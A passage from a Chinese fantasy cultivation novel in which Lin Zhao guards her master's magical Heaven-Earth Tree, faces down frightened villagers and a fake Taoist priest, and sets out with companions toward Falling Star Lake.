但她知道,晒谷观不再是从前那个平静的小道观了。
师父留下的种子,周言托付的画稿,青云剑派的追杀,阿茸的异变,还有那句“山要来了”……
所有这些,像一张网,正在慢慢收紧。
而她,就在网中央。
夜风吹过,树苗的叶子沙沙作响,像在低语。
林照深吸口气,把画稿和信重新包好,埋回松树下——现在不是处理这些的时候。然后她抱起阿茸——白羊很轻,在她怀里温顺地趴着——走回观里。
把阿茸放回羊圈,她回到自己房间。
没有点灯,她就坐在黑暗中,望着窗外。
月光很亮,能看见晒谷场,能看见麦田,能看见后山的轮廓。
一切看起来都很平静。
但她知道,平静下面,暗流汹涌。
她摸了摸怀里的游历凭证,摸了摸那本《晒谷心经》,摸了摸师父的信。
然后,她做了一个决定。
她不走了。
至少现在不走了。
晒谷观需要她,孩子们需要她,阿茸需要她,师父的坟需要她守,天地树需要她养,周言的画稿需要她保护。
她的路,不只在远方,也在这里。
在每一寸需要守护的土地上,在每一个需要守护的人身边。
她闭上眼睛,开始调息。
这一次,不是为了“见云”,是为了“扎根”。
像麦子把根扎进土里,像天地树把根扎进地脉,像她把根扎进这片土地,扎进这些记忆,扎进这些责任里。
呼吸渐深渐缓。
她能感觉到,晒谷观的地脉,因为天地树的生长,正在被唤醒。那种温润的、厚重的、生生不息的力量,正通过树苗的根系,传递到每一寸土地,传递到她的脚下,传递到她的身体里。
不是灵气,是地气。
是大地的呼吸,是泥土的记忆,是麦子的执着,是师父的嘱托,是所有在这片土地上活过、爱过、守护过的人留下的印记。
这些印记,此刻都通过天地树,传递给她。
她“看见”了——
看见三百年前,开山祖师在这里建观,种下第一株麦子。
看见二百年前,一位观主在这里悟道,写下《晒谷心经》。
看见一百年前,师父在这里长大,在这里修行,在这里放弃飞升,在这里种出三季麦。
看见十六年前,她被师父捡回来,在这里学步,在这里识字,在这里种地,在这里长大。
看见三个月前,她离开这里,走向远方。
看见今天,她回到这里,种下天地树,接过传承。
所有的记忆,所有的岁月,所有的爱与守护,都在这片土地里,都在这棵刚刚发芽的树里,都在她的呼吸里。
她睁开眼。
眼神清澈而坚定。
像雨后的天空,像破土的麦芽,像刚刚找到方向的旅人。
她知道了。
她的修行,不在别处,就在这里。
在晒谷观,在这片麦田,在这棵树下,在这些孩子身边,在阿茸的注视里,在师父的期盼中。
仙不在天上,在你想去的地方。
而她现在最想去的地方,就是这里。
就是家。
21. 山雨欲来
天地树苗长到三尺高时,下了第一场秋雨。
不是细雨,是倾盆暴雨。铅灰色的云层从西北方向压过来,沉甸甸地坠在天边。风先到,吹得麦田倒伏,晒谷观屋顶的茅草簌簌作响。阿茸在羊圈里不安地踱步,每隔一会儿就抬头望天,喉咙里发出低沉的咕噜声。
林照站在观门口,看着天色。
“照姐,要收麦子吗?”豆苗拽着她的衣角,小脸上满是担忧。
“来不及了。”林照说,“雨太大,收进来也会霉。让它们在田里吧——麦子没那么娇贵,淋点雨,根扎得更深。”
她转身回屋,开始做暴雨前的准备。
灶房的水缸要加满,柴火要搬到屋里,漏雨的屋顶要临时修补。孩子们跟着她忙前忙后,李虎爬上屋顶,用备用的茅草堵住几个明显的破洞。雨水已经开始零星落下,砸在瓦片上啪嗒作响。
“虎哥,小心!”豆苗在下面喊。
李虎抹了把脸上的雨水,咧嘴一笑:“没事!这点雨算什——”
话没说完,一声炸雷在头顶响起。
不是普通的雷,是那种贴着地面滚过的闷雷,震得屋顶都在颤抖。紧接着,闪电像银蛇一样撕裂天空,瞬间照亮了整片山野。
李虎一个趔趄,差点从屋顶滑下来。林照眼疾手快,扶住梯子:“快下来!雷太近了!”
李虎连滚带爬地下梯子,脸色发白:“这雷……不对劲。”
确实不对劲。
雷声太密,闪电太亮,云层压得太低。而且林照能感觉到——不是用眼睛,是用“见云”境的感知——天地间的“气”在剧烈动荡。像一锅烧开的水,翻滚,沸腾,随时要溢出锅沿。
她想起阿茸说的:“山要来了。”
难道这场暴雨,和“山”有关?
雨终于下来了。
不是淅淅沥沥,是瓢泼倾盆。雨水像天河决了口,哗啦啦地倾倒下来。转眼间,晒谷场就积起了水,麦田变成一片汪洋,远处的山峦完全隐没在白茫茫的雨幕中。
林照让孩子们都待在堂屋里,自己站在门口看雨。
雨水从屋檐倾泻而下,形成一道水帘。她伸出手,接了一捧雨水。水很凉,很清澈,但在她的感知里,这场雨带着某种特别的“气息”——不是土腥味,是一种更古老、更沉重的气息,像封存了千年的山石突然见了天光。
“照姐,”豆苗小声说,“阿茸在叫。”
林照侧耳倾听。雨声太大,几乎淹没了其他声音。但她还是听见了——羊圈里传来阿茸急促的叫声,不是平时的“咩咩”,是那种带着惊恐的、短促的哀鸣。
她抓起斗笠戴上,冲进雨幕。
羊圈里,阿茸正用头撞击圈门,一下,又一下。它浑身湿透,白色的毛粘在身上,显得瘦骨嶙峋。看见林照,它停止撞击,但眼睛里的惊恐丝毫没有减少。
“阿茸,怎么了?”林照打开圈门走进去。
阿茸蹭到她身边,喉咙里发出“嗬嗬”的声音,像在努力说话。但它说不出来——自那天夜里说过“山要来了”之后,它再也没能说出完整的句子,只是偶尔会蹦出一两个模糊的音节。
但这一次,它抬起前蹄,在地上划拉。
雨水很快冲掉了痕迹,但林照看清楚了——阿茸划的是一个简单的图形:一座山,山上有一棵树。
然后它抬起头,看着后山方向。
林照顺着它的目光望去。雨幕中,后山只是一片模糊的影子。但她能感觉到,那里有什么东西正在苏醒。
不是青云剑派那些人——那些人昨天就撤走了,大概是觉得晒谷观这种穷乡僻壤藏不住周言那样的“疯子”。是别的东西,更深层,更古老,像埋在地底的种子终于要破土而出。
她拍拍阿茸的头:“别怕,我去看看。”
“咩……”阿茸咬住她的衣角,不让她走。
“放心,我很快就回来。”
林照挣脱阿茸,戴上斗笠,披上蓑衣,往后山走去。
山路泥泞,每一步都陷得很深。雨水打在斗笠上,噼啪作响,像无数小锤在敲打。风很大,几乎要把她吹倒。但她走得很稳,晒谷步法在这种恶劣天气里反而更显出优势——每一步都顺着风的力道,像麦秆在风中弯而不折。
走到半山腰时,她停住了。
前方就是那棵老松树,周言藏画稿的地方。但此刻,松树周围弥漫着一层淡淡的雾气——不是雨水形成的水雾,是某种乳白色的、缓缓流动的雾气。雾气中,隐约能看见松树的轮廓,但扭曲变形,像隔着一层毛玻璃。
更奇怪的是,雨水在这里改变了方向。
以松树为中心,方圆十丈内的雨水,不是垂直落下,而是呈螺旋状旋转,像被一个无形的漩涡吸了进去。雨水落进雾气中,发出轻微的“滋滋”声,像烧红的铁淬入冷水。
林照站在漩涡边缘,没有贸然进入。
她闭上眼睛,调动感知。
然后,她“看见”了。
松树下的土地里,有什么东西在发光——不是天地树那种温润的金光,是一种清冷的、银白色的光。光像水银一样在地底流动,沿着某种既定的轨迹,形成一个复杂的图案。图案的中心,正是那棵松树。
这是一个阵法。
但不是青云剑派那些人布的追踪阵。这个阵法更古老,更精妙,气息更宏大。阵法运转的节奏,和雨水的节奏,和风的节奏,甚至和远处天地树呼吸的节奏,隐隐呼应。
像一首交响乐,每个部分都在各自的声部里,但合在一起,奏出完整的乐章。
林照忽然明白了。
周言把画稿藏在这里,不是随便选的。这棵松树,这个位置,本身就是阵法的一部分。或者说,周言画里的那座山,和这个阵法有关?
她正想着,阵法忽然起了变化。
地底的银光骤然变亮,冲破了土壤的束缚,从松树的根系中迸发出来。光柱冲天而起,刺破了雨幕,直冲云霄。与此同时,天空中的雷声更密集了,闪电像银蛇一样缠绕在光柱周围,发出刺耳的噼啪声。
林照被强光刺得闭上眼睛。
再睁开时,她看见了毕生难忘的景象——
光柱中,浮现出一座山的虚影。
不是具体的山形,是一个轮廓,一个剪影,像海市蜃楼,像水中倒影。山很高,山顶隐没在云层里。山腰有层层叠叠的亭台楼阁,飞檐翘角,但都很模糊,像隔着一层纱。最清晰的是山顶——那里有一座小屋,很小,很朴素,屋前有一棵树。
树的样子……很像天地树苗,但要高大得多,枝叶要繁茂得多。
虚影只持续了三个呼吸的时间。
然后光柱消散,山影淡去,雨水恢复正常,雾气退散。一切恢复原状,仿佛刚才什么都没发生过。
只有松树下的土地,出现了一道裂缝——很细,很深,像被什么东西割开了一样。裂缝里,隐约能看见银光还在流动,但已经很微弱了。
林照站在原地,浑身湿透,但心里一片清明。
她知道了。
周言画里的山,不是“不存在”,是“未显现”。这座山一直在这里,在阵法里,在天地间,只是需要特定的条件——比如这场暴雨,比如天地树的生长,比如……某种时机——才会显露出轮廓。
而阿茸的预警,可能不是指山“要来”,是山“要显现”。
她转身,准备回观。
走了两步,又停住。
因为她听见了声音——不是雨声,不是雷声,是人声。从山下传来,很多人的声音,吵吵嚷嚷,正在往晒谷观方向去。
她心头一紧,加快脚步下山。
晒谷观门口,已经围了一群人。
约莫二三十个,都是附近的村民。男女老少都有,穿着蓑衣,戴着斗笠,脸上有惊恐,有愤怒,有好奇。李虎带着孩子们挡在观门口,脸色铁青。
“让开!”一个粗壮的汉子喊道,“我们要见观主!”
“观主不在!”李虎梗着脖子,“有什么事跟我说!”
“跟你说?你算老几!”汉子啐了一口,“刚才后山那道光,你们看见了吧?还有那雷,那闪电——肯定是你们晒谷观搞的鬼!”
“对!肯定是!”其他人附和,“自从老谷头死后,这观里就不太平!”
“还有那棵树——坟边上那棵发光的树!那是什么邪物?!”
“把它砍了!不然会招来灾祸!”
人群开始往前涌。
李虎张开手臂拦着,但挡不住这么多人。豆苗和其他孩子吓得脸色发白,缩在门后。
“都住手!”
林照的声音从人群后传来。
所有人回头。林照从雨幕中走来,浑身湿透,但眼神锐利得像出鞘的剑。她走到观门口,站在李虎身前,扫视众人:“有什么事,跟我说。”
粗壮汉子看见她,愣了一下:“你……你是林照?老谷头那个徒弟?”
“是。”
“你回来了正好!”汉子指着后山方向,“刚才那光,那山影,你看见了吧?还有你师父坟边上那棵发光的树——那到底是什么东西?是不是你们在搞什么邪术,招来了这些怪事?”
林照沉默了片刻,问:“你们觉得,那光,那山影,是坏事?”
“当然是坏事!”一个老妇人颤声道,“我活了七十岁,从没见过这种怪事!肯定是妖孽作祟!”
“那树也是!”另一个中年妇女说,“我昨天路过,看见那树在发光,还能听见它……它在呼吸!树怎么会呼吸?肯定是成了精!”
人群又骚动起来。
林照看着他们,看着这些熟悉的面孔——王婶,李叔,赵大爷……都是附近的村民,平时和晒谷观关系不错,老谷头在世时,常给他们看病,教他们种地。可现在,一场异象,就让他们变成这样。
她忽然想起师父说过的话:“人心如水,风平浪静时能照见月亮,风起浪涌时就什么都看不清了。”
“各位叔伯婶娘,”她开口,声音不大,但很清晰,“后山的光,坟边的树,都不是邪物,也不是妖孽。那是我师父临终前留下的传承——天地树的种子,种在坟边,是为了让师父的魂灵有所依托,也是为了保佑这片土地风调雨顺。”
“至于刚才的山影……”她顿了顿,“那是周言先生画的‘云外之境’。周先生是画师,在山上布了阵法,今日暴雨,阵法被激发,才显出山影。没有危害,只是……一幅画活了而已。”
这番解释半真半假,但听起来合理。
人群安静下来,面面相觑。
粗壮汉子将信将疑:“真的?”
“真的。”林照说,“我师父在世时,可曾害过任何人?可曾做过任何伤天害理的事?”
众人摇头。老谷头在时,确实是十里八乡公认的好人。
“那我呢?”林照继续问,“我从小在晒谷观长大,可曾做过对不起大家的事?”
“那倒没有……”王婶小声说,“你还帮我采过药呢。”
“既然如此,”林照看着他们,“请大家相信,晒谷观不会害人。天地树不会害人,周先生的画也不会害人。今日异象,只是机缘巧合,过了就过了。”
她顿了顿,语气柔和下来:“雨这么大,大家别在外面淋着了。都进观里喝碗热茶吧,驱驱寒。”
这话说得诚恳,众人的敌意消了大半。粗壮汉子挠挠头:“那……那树真不会害人
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?”
“不会。”林照说,“你们要是不放心,可以随时来看。它就在那儿,不跑不躲,任你们看。”
最终,大部分人散了,只有几个好奇的跟着进观喝茶。
林照让李虎烧水,自己回屋换了身干衣服。出来时,堂屋里已经坐了几个人,捧着热茶,脸色缓和了许多。
王婶拉着她的手:“照儿啊,刚才大家也是被吓着了。你别往心里去。”
“不会。”林照笑笑,“换做是我,看见那些异象,也会害怕。”
“那树……真能保佑风调雨顺?”
“能。”林照说,“师父说过,天地树连天接地,能调和地气。种在坟边,师父的魂灵安宁,这片土地也会安宁。”
这解释安抚了众人的心。喝过茶,聊了几句家常,大家也都告辞了。
送走最后一个人,林照关上门,长舒一口气。
李虎走过来,低声说:“他们暂时信了,但以后……要是再有异象,恐怕没那么好糊弄了。”
“我知道。”林照说,“所以得想办法。”
“什么办法?”
林照没回答。她走到窗边,看着外面的雨。雨小了些,但还没停。远处,天地树苗在雨幕中散发着淡淡的金光,像黑夜里的灯塔。
她知道,今天的事只是一个开始。
天地树在长,阵法在运转,山影已经显现了一次,就会有第二次、第三次。青云剑派的人虽然走了,但可能还会回来。村民们虽然暂时安抚了,但疑虑还在。
而阿茸的预警,周言的画稿,师父的信,谷长青的话……所有这些,像一张拼图,还缺最关键的那几块。
她需要时间。
需要时间让天地树长大,需要时间破解阵法,需要时间弄明白“山要来了”到底是什么意思,需要时间……变得更强大。
强大到能守护这片土地,守护这些记忆,守护这些牵挂。
“李虎,”她转身,“从明天起,你带着孩子们,把观里观外都收拾收拾。该修的修,该补的补。药田要重新打理,麦子要尽快收——虽然淋了雨,但抢收回来,晒干了还能吃。”
“那你呢?”
“我要闭关几天。”林照说,“在师父坟边,守着天地树。有些事,得想明白。”
李虎看着她,眼神复杂,最终点点头:“好。观里的事交给我。”
夜里,雨停了。
月亮从云层后探出头来,银辉洒在湿漉漉的大地上。林照抱着一床薄被,来到老谷头坟边。
天地树苗已经长到四尺高了。树身晶莹,枝叶如金,在月光下美得不似凡物。树苗周围的土地,裂缝已经愈合,但仔细看,能看到细密的金色根系在地表若隐若现,像血管,像脉络。
她在树旁坐下,铺开被子。
阿茸从羊圈里溜出来,走到她身边,趴下,头枕在她腿上。
“你也感觉到了,对吗?”林照轻声问。
阿茸“咩”了一声,算是回答。
她摸着阿茸的头,看着树苗,开始调息。
这一次,不是为了“见云”,是为了“连接”。
连接天地树,连接这片土地,连接师父留下的所有记忆和馈赠。
呼吸渐深渐缓。
她能感觉到,树苗的根系在土地里延伸,一寸一寸,像探索的手指。根系所过之处,她能“看见”地底的世界——蚯蚓在松土,蚂蚁在筑巢,矿脉在沉睡,水脉在流动。
还能“看见”更深处——那些埋藏在时光里的记忆。
三百年前,开山祖师在这里打坐,感受到地脉的波动,写下“上接天光,中承风气,下连地脉”。
二百年前,一位观主在这里种下第一株天地树苗——虽然那棵树后来枯死了,但它的气息还留在地脉里。
一百年前,师父在这里突破金丹,天地共鸣,地涌金莲。
三年前,她在这里第一次感知到“气”,虽然微弱,但真实。
所有这些记忆,都像化石一样,埋在地底。现在,天地树的根系触碰到它们,唤醒它们,把它们传递给她。
她“看见”了一幅地图。
不是纸上的地图,是地脉的地图。晒谷观所在的位置,是一个“节点”——地脉交汇的节点。像人体的穴位,像星图的交点。
这个节点,连接着很多东西。
连接着后山的阵法,连接着周言画里的山,连接着更远处——那些她还没去过,但注定要去的地方。
她还“看见”了一条路。
不是地上的路,是地脉的路。从晒谷观出发,沿着地脉走向,可以到达很多地方。有的地方有灵泉,有的地方有矿脉,有的地方有古修洞府,有的地方……有“门”。
通往别处的门。
通往“云外之境”的门?
她不知道。
但这条路,和她心里的那座山,方向一致。
她睁开眼睛。
月光很亮,树苗很静,阿茸睡得很熟。
远处传来夜枭的叫声,凄厉而悠长。
她站起身,走到坟前,轻声说:“师父,我好像……找到路了。”
风从麦田吹过,麦浪沙沙作响。
像在回应。
像在祝福。
像在说:走吧,孩子。沿着你找到的路,去看你的山,去走你的道。
但要记得回家。
林照笑了。
她会的。
无论走多远,她都会记得回家的路。
因为家就在这里,在晒谷观,在麦田边,在师父的坟旁,在这棵正在长大的树下,在这只枕着她腿睡觉的羊身上。
在她的心里。
永远在。
22. 故人重逢
林照出关那日,天地树已经长到一人高了。
树身从晶莹转为温润的玉白色,枝叶繁茂,叶片上天然的纹路清晰可见,像人体的脉络,像大地的山川。树冠亭亭如盖,在晨光中洒下一片淡金色的光晕。最神奇的是,靠近树身三丈范围内,土地永远湿润但不泥泞,空气永远清新带着草木香,连蚊虫都不来侵扰。
孩子们喜欢在树下玩耍。豆苗趴在树根旁,盯着那些半透明的根系看,小声说:“它在呼吸呢,呼——吸——,跟阿茸一样。”
李虎在修理一把坏掉的锄头,闻言抬头:“树怎么会呼吸?你看花眼了吧。”
“真的!”豆苗认真道,“照姐说,这是天地树,连天接地的,当然会呼吸。”
李虎不说话了,只是手上的动作慢了下来。这些天,他看着天地树从一尺高长到现在,看着林照在树下闭关七日,看着晒谷观因为这场异象变得不再平静。他心里有说不出的滋味——嫉妒?羡慕?还是……一丝隐隐的服气?
林照从树下站起身。
她闭关七日,不吃不喝,只是坐着,感受地脉,连接天地树。出关时,整个人瘦了一圈,但眼睛更亮了,像淬过火的星星。她能清晰感知到方圆十里内的一切风吹草动——不是用眼睛看,是用“心”看。
比如现在,她就“看”到三里外的山道上,有三个人正往晒谷观来。
不是村民。脚步很稳,气息很纯,其中一道气息……很熟悉。
沈不言。
另外两道,应该是陈砚和李慕云。
他们怎么提前过来了?不是说好在青阳城见吗?
林照来不及细想,因为她同时“看”到另一件事——村口,那群前几天来闹事的村民又聚在一起了。这次人更多,约莫有四五十个,为首的还是那个粗壮汉子,但旁边多了几个生面孔,穿着讲究,不像普通村民。
麻烦了。
她深吸口气,对孩子们说:“豆苗,带大家回屋,关好门。李虎,你跟我来。”
李虎扔下锄头:“怎么了?”
“有人来了。”林照顿了顿,“两边都有人。”
两人走到观门口时,山道上那三人刚好转出来。
果然是沈不言、陈砚、李慕云。
陈砚背着书篓,走得气喘吁吁,看见林照就挥手:“林姑娘!我们来了!”
李慕云还是一身朴素的青布衫,但腰间的匕首换成了长剑。他走到近前,神色凝重:“林姑娘,我们在青阳城听说晒谷观出了异象,还有青云剑派的人在附近活动,不放心,就折回来了。”
沈不言没说话,只是看着林照,眼神里有关切,也有询问。
林照心头一暖,但来不及寒暄,只快速说:“谢谢你们赶回来。但现在有更要紧的事——村口又来了一群人,看样子是冲天地树来的。”
“天地树?”陈砚一愣,“就是你师父留下的那棵?”
“嗯。”林照点头,“它长得太快,引来村民恐慌。前几天刚安抚下去,今天看样子是请了‘高人’来。”
正说着,村口那群人已经走到晒谷观外的麦田边了。
粗壮汉子走在最前,旁边跟着一个中年道士。道士约莫四十来岁,三角眼,山羊胡,穿着杏黄色道袍,手里拿着个罗盘,边走边看,嘴里念念有词。
“王道长,您看,就是那棵树!”粗壮汉子指着天地树,“白天发光,晚上呼吸,肯定是妖树!”
王道长眯着眼看了一会儿,罗盘上的指针剧烈颤动。他脸色一变:“好重的灵气!这树……确实不凡。”他顿了顿,声音陡然严厉,“但灵气过盛,必引灾祸!你们晒谷观种此妖树,是想害死这一带的人吗?!”
这话一出,村民们骚动起来。
“王道长都这么说了,肯定没错!”
“砍了它!砍了妖树!”
“对!砍了!”
人群开始往前涌。
林照上前一步,挡在观门前:“各位,这树不是妖树,是我师父留下的传承之树。它吸收天地灵气,反哺这片土地,对大家只有好处,没有害处。”
“胡说八道!”王道长冷笑,“贫道修行三十载,从没见过这种树!灵气外泄,地脉紊乱,长此以往,这一带必然地震频发,瘟疫横行!”
他举起罗盘:“你们看,罗盘指针乱转,说明地气已乱!再让这树长下去,整个村子都要遭殃!”
罗盘指针确实在乱转——那是因为天地树在调节地脉,地气正在重新平衡。但村民们不懂这些,他们只看到指针乱转,只听到“地震”“瘟疫”,恐惧瞬间压倒了理智。
“砍了它!现在就砍!”粗壮汉子举起柴刀。
其他人也纷纷举起农具、柴刀、斧头。
眼看着一场冲突就要爆发。
“且慢。”
一个清冷的声音响起。
沈不言走出观门,站到林照身边。他没拔剑,只是看着王道长:“你说这树是妖树,有何证据?”
王道长打量他:“你是何人?”
“路人。”沈不言说,“但看不惯有人信口雌黄。”
“信口雌黄?”王道长怒了,“贫道师承青城山玄真观,修行三十载,难道还不如你一个黄口小儿懂?!”
“青城山玄真观?”李慕云忽然开口,“巧了,家父与玄真观观主有些交情。敢问道长法号?”
王道长脸色微变:“贫道……贫道道号明心。”
“明心?”李慕云笑了,“我去年随家父拜访玄真观时,观主曾言,观中弟子皆以‘清’字为号,何来‘明’字辈?”
王道长语塞,额头冒汗。
陈砚趁势上前,朗声道:“各位乡亲,此人连道号都是假的,分明是个江湖骗子!他的话,能信吗?”
村民们愣住了,看向王道长。
王道长恼羞成怒:“你、你们是一伙的!合起伙来骗乡亲们!”
“是不是骗,一试便知。”沈不言忽然说,“你说这树灵气外泄,有害无益。那敢问——若是灵气有害,为何树旁的麦子长势最好?为何树下的土地最肥沃?为何靠近此树的人,神清气爽,百病不生?”
这时林照指向豆苗:“那个孩子,从小体弱,入秋必咳。你们问问他,这几天咳了没有?”
豆苗从门后探出头,脆生生道:“没咳!我这些天可精神了!”
林昭又指向李虎:“李虎,你前几日劈柴伤了手腕,现在可还疼?”
李虎活动了下手腕,摇头:“早就不疼了。”
村民们面面相觑。确实,这些天靠近晒谷观的人,都感觉身体轻快了不少。连常年腰疼的赵大爷都说,在观外坐一会儿,腰就不疼了。
“这、这可能是妖树的迷惑之术!”王道长还在强辩。
“够了。”
林照开口。她走到天地树旁,伸手轻抚树干。树身温润,微微颤动,像是在回应她的触摸。
“这棵树,名‘天地树’。”她转身,面对众人,“是我师父谷长青留下的传承。它吸收天地灵气,调节地脉,滋养土地。你们感觉身体变好,麦子长势变好,都是它的功劳。”
她顿了顿:“至于这位‘王道长’说的地震、瘟疫……纯属无稽之谈。天地树扎根于此,根系深入地下百丈,稳固地脉,只会让这片土地更安稳,绝不会引发灾害。”
她看向王道长,眼神清澈而锐利:“道长若不信,可以留下来,亲眼看着。若这树真如你所说引发灾祸,我亲手砍了它。但若是它造福一方……道长是不是该给乡亲们一个交代?”
这话有理有据,不卑不亢。
村民们动摇了。粗壮汉子放下柴刀,犹豫道:“林姑娘,你说的……都是真的?”
“真的。”林照说,“大家若不信,可以每天来看。天地树就在这里,不跑不藏,是好是坏,时间会证明。”
“那……那好吧。”粗壮汉子挠挠头,“我们先看看。但要是真出了事……”
“我负责。”林照一字一句。
最终,村民们散去了。王道长也灰溜溜地走了,临走前恨恨地瞪了林照一眼。
观门前恢复了平静。
林照长舒一口气,转身对沈不言三人深深一躬:“多谢三位解围。”
“客气什么。”陈砚笑道,“我们本来就是来找你的。”
李慕云看着天地树,眼中满是惊叹:“这就是天地树?果然不凡。我在家中古籍里见过记载,说此树三百年一现世,能连天接地,调和阴阳。没想到林姑娘竟有此机缘。”
沈不言则看向林照:“你闭关七日,收获不小。”
林照点头:“确实。我感知到了地脉之路,也……看到了些别的东西。”
“地脉之路?”陈砚好奇。
“嗯。”林照想了想,“进屋说吧。”
堂屋里,孩子们端上热茶。林照把这几日发生的事简单说了——天地树的生长,后山阵法的显现,周言画稿的秘密,以及她感知到的地脉之路。
“所以,”陈砚瞪大眼睛,“那座‘不存在之山’,其实一直在这里,只是需要特定条件才会显现?”
“应该是。”林照说,“而且我怀疑,周言先生画了十年,不是凭空想象,是他在阵法显现的瞬间,看见了山的轮廓,然后凭记忆画下来。”
“那他为什么说山‘不存在’?”李慕云问。
“因为对大多数人
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来说,看不见就等于不存在。”沈不言淡淡道,“就像风,看不见,但你能感觉到。那座山,需要‘对的眼睛’才能看见。”
“对的眼睛……”李慕云若有所思。
林照从怀里取出周言的那封信,还有那叠画稿:“周先生把画稿托付给我,说‘它们不该被毁,也不该被某些人独占’。我想,他是希望有人能看懂这些画,找到那座山。”
她展开那幅只有一个墨点的《云外之境》:“比如这幅画,表面看只有一个墨点。但如果你用心去看,能看见山,看见云,看见小屋,看见等待。”
陈砚凑近看了半天,摇头:“我只看见一个墨点。”
李慕云也摇头。
沈不言看了很久,忽然说:“我看见了。”
众人看向他。
“不是用眼睛,”沈不言说,“是用心。墨点里……确实有东西。不是具体的形状,是‘意’。山的意,云的意,等待的意。”
林照眼睛亮了:“沈先生果然看得见。”
“但还不够。”沈不言说,“要真正‘看见’,可能需要特定的时机,或者……特定的地点。”
“地脉之路。”林照说,“我感知到的那条路,可能就是通往‘看见’的路径。沿着地脉走,也许能找到阵法显现的规律,也许能找到看见那座山的方法。”
她顿了顿:“我原本打算一个人去探索。但现在你们来了……”
“我们跟你一起去!”陈砚立刻说。
李慕云也点头:“反正我们已经选了游历凭证,本就是出来历练的。跟着林姑娘,说不定能见识到真正的‘道’。”
沈不言只说了一个字:“走。”
林照看着他们,心头涌起一股暖流。这种被人信任、被人支持的感觉,真好。
“但是,”她看向观内,“晒谷观怎么办?孩子们怎么办?”
李虎忽然开口:“有我在。”
所有人都看向他。
李虎脸有些红,但还是坚定地说:“我修为低,跟你们去也是拖累。不如留在观里,照顾孩子们,守着天地树。”他顿了顿,“而且……我也该为晒谷观做点事了。师父在时,我没尽到责任。现在,该补上了。”
林照看着他,从他眼中看到了真诚。她点点头:“好。那晒谷观就拜托你了。”
“放心吧。”李虎说,“我会把观里打理好,等你们回来。”
事情就这么定下了。
当晚,林照开始准备行装。
除了必要的衣物、干粮、药品,她还带上了几样特别的东西:师父留下的那枚干枯麦穗(她又从坟前取回来了,因为觉得带在身上更有意义),周言的画稿,谷长青给的信,还有一小瓶天地树下的土——这是沈不言建议的,说天地树的土有灵性,关键时刻也许有用。
阿茸似乎知道她要走,一直跟在她身边,寸步不离。夜里,它又开口了。
这次说的话更清晰:“路……远……小心……门……”
“门?”林照蹲下身,摸着阿茸的头,“什么门?”
阿茸摇头,说不出来,只是用蹄子在地上划——这次划的是一个门的形状,门里有一点光。
林照记住了。
第二天清晨,四人准备出发。
孩子们都来送行。豆苗抱着林照的腿哭:“照姐,你要早点回来……”
“一定。”林照摸摸他的头,“你要听虎哥的话,好好学认药草。”
“嗯!”
李虎站在观门口,手里拿着一包东西:“这个带上。”
林照接过,打开一看,是晒谷观自制的伤药,还有几个烙饼。
“谢谢。”她说。
李虎摆摆手,转身回观了,但背影有些僵硬——是在强忍不舍吧。
四人上路。
走出晒谷观,走过麦田,走过山道。林照回头,看见观门口,李虎又出来了,站在那儿朝他们挥手。孩子们也在挥手。天地树在晨光中泛着金光,像在为他们送行。
她转回头,继续向前。
第一站,是百里外的“落星湖”。
据《东域风物志》记载,落星湖有灵泉,湖底有古修洞府遗迹。更重要的是,林照感知到,那里是地脉之路上的第一个节点。
路还很长。
但她不是一个人走了。
身边有剑修沈不言,有书生陈砚,有世家子李慕云。
身后有晒谷观,有天地树,有孩子们,有阿茸。
心里有师父的嘱托,有周言的托付,有那座等待被看见的山。
她深吸口气,脚步轻快。
像麦穗在风中摇曳,自然,从容,向着该去的方向。
23. 落星湖
落星湖在百里外的落星谷中。
谷很深,两壁陡峭,壁上长满青苔和藤蔓。谷底有一片不大的湖泊,湖水碧绿,深不见底。传说千年前有流星坠落于此,砸出这处深坑,积水成湖,故名“落星”。湖中有灵泉,泉眼在湖心,常年涌出温热的泉水,水中蕴含微弱灵气,对低阶修士有滋养之效。
林照四人抵达落星谷时,已是第三日傍晚。
夕阳斜照,谷中雾气渐起。远远就能看见谷口立着一座简陋的木制牌坊,牌坊上挂着一块木匾,匾上刻着三个歪歪扭扭的字:“流云宗”。
牌坊下守着两个年轻修士,都穿着淡青色劲装,腰佩长剑,神色倨傲。看见林照四人走近,其中一人抬手拦住:“站住。流云宗禁地,闲人免进。”
陈砚上前一步,拱手道:“这位师兄,我们只是路过,想进谷看看落星湖。”
“落星湖现在归流云宗管辖。”那修士冷冷道,“要看湖,去别处。”
李慕云皱眉:“落星湖是天然湖泊,何时成了流云宗的私产?”
“哼,天然湖泊?”另一个修士嗤笑,“湖中灵泉是我们宗主发现的,我们宗门在此经营三年,布下阵法,疏通地脉,才让灵泉不枯。这湖自然归我们管!”
沈不言没说话,只是看着谷内。林照也顺着他的目光望去——谷中雾气弥漫,看不清湖的样子,但她能感知到,地脉在这里确实有异常。
不是正常的流动,是……堵塞。像血管里有了血栓,气脉不通。
而且,空气中弥漫着一股淡淡的腥气,不是水腥,是某种腐败的气味。
“这位师兄,”林照开口,语气平和,“我们不是来争灵泉的,只是游历至此,想见识一下落星湖的风光。能否通融一下,让我们进去看看?我们保证不碰灵泉,只看一眼就走。”
守门修士打量她,见她是个年轻姑娘,衣着朴素,语气诚恳,脸色稍缓:“姑娘,不是我们不通融,是宗主有令,最近湖中不太平,禁止外人进入。”
“不太平?”陈砚好奇,“怎么个不太平法?”
两个修士对视一眼,欲言又止。最后还是先开口的那个低声说:“灵泉……快枯了。”
“枯了?”李慕云惊讶,“灵泉怎么会枯?”
“不知道。”修士摇头,“三个月前还好好的,泉水充沛,灵气浓郁。但上个月开始,泉眼涌出的水越来越少,到这个月,已经只剩细流了。”他顿了顿,“宗主怀疑有人动了地脉,或者……湖底出了什么变故。”
林照心头一动。地脉堵塞,灵泉枯竭——这两者会不会有关联?
她正要再问,谷内忽然传来一阵喧哗。
“抓住它!”
“别让它跑了!”
“小心!它会喷水!”
紧接着,一道黑影从雾气中窜出,速度极快,直冲谷口而来。守门修士大惊,拔剑欲拦,但那黑影灵活地一扭,从两人中间穿过,窜出牌坊,消失在谷外的山林中。
“什么东西?”陈砚惊问。
“是……是泉灵。”一个修士脸色发白,“灵泉孕育出的精灵,平时都在湖底,从不上岸。这几天不知怎么了,频频暴走,今天竟跑出来了!”
林照望向黑影消失的方向。那不是野兽,也不是妖物,是一种更纯粹的东西——水之精魄。泉灵离水,说明灵泉真的出了问题,而且问题不小。
“我们能进去看看吗?”她再次问,“或许……我们能帮上忙。”
守门修士犹豫了。这时,谷内走出一个中年男子,约莫四十来岁,面容儒雅,但眉宇间有忧色。他穿着深青色道袍,胸口绣着流云纹——应该是流云宗的人。
“怎么回事?”他问守门修士。
